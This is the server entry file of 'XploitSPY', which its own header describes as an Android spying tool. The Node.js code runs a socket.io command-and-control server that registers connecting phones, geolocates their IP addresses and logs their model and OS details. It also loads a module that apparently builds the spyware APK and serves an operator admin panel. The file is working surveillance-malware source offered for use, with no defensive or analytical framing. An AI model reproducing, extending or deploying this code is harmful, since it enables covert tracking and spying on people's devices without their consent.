/* * XploitSPY * An Android Spying Tool * By Team XploitWizer */ const express = require('express'), app = express(), IO = require('socket.io'), geoip = require('geoip-lite'), CONST = require('./includes/const'), db = require('./includes/databaseGateway'), logManager = require('./includes/logManager'), clientManager = new(require('./includes/clientManager'))(db), apkBuilder = require('./includes/apkBuilder'); global.CONST = CONST; global.db = db; global.logManager = logManager; global.app = app; global.clientManager = clientManager; global.apkBuilder = apkBuilder; // spin up socket server let client_io = IO.listen(CONST.control_port); client_io.sockets.pingInterval = 30000; client_io.on('connection', (socket) => { socket.emit('welcome'); let clientParams = socket.handshake.query; let clientAddress = socket.request.connection; let clientIP = clientAddress.remoteAddress.substring(clientAddress.remoteAddress.lastIndexOf(':') + 1); let clientGeo = geoip.lookup(clientIP); if (!clientGeo) clientGeo = {} clientManager.clientConnect(socket, clientParams.id, { clientIP, clientGeo, device: { model: clientParams.model, manufacture: clientParams.manf, version: clientParams.release } }); if (CONST.debug) { var onevent = socket.onevent; socket.onevent = function(packet) { var args = packet.data || []; onevent.call(this, packet); // original call packet.data = ["*"].concat(args); onevent.call(this, packet); // additional call to catch-all }; socket.on("*", function(event, data) { console.log(event); console.log(data); }); } }); // get the admin interface online app.listen(CONST.web_port); app.set('view engine', 'ejs'); app.set('views', './assets/views'); app.use(express.static(__dirname + '/assets/webpublic')); app.use(require('./includes/expressRoutes'));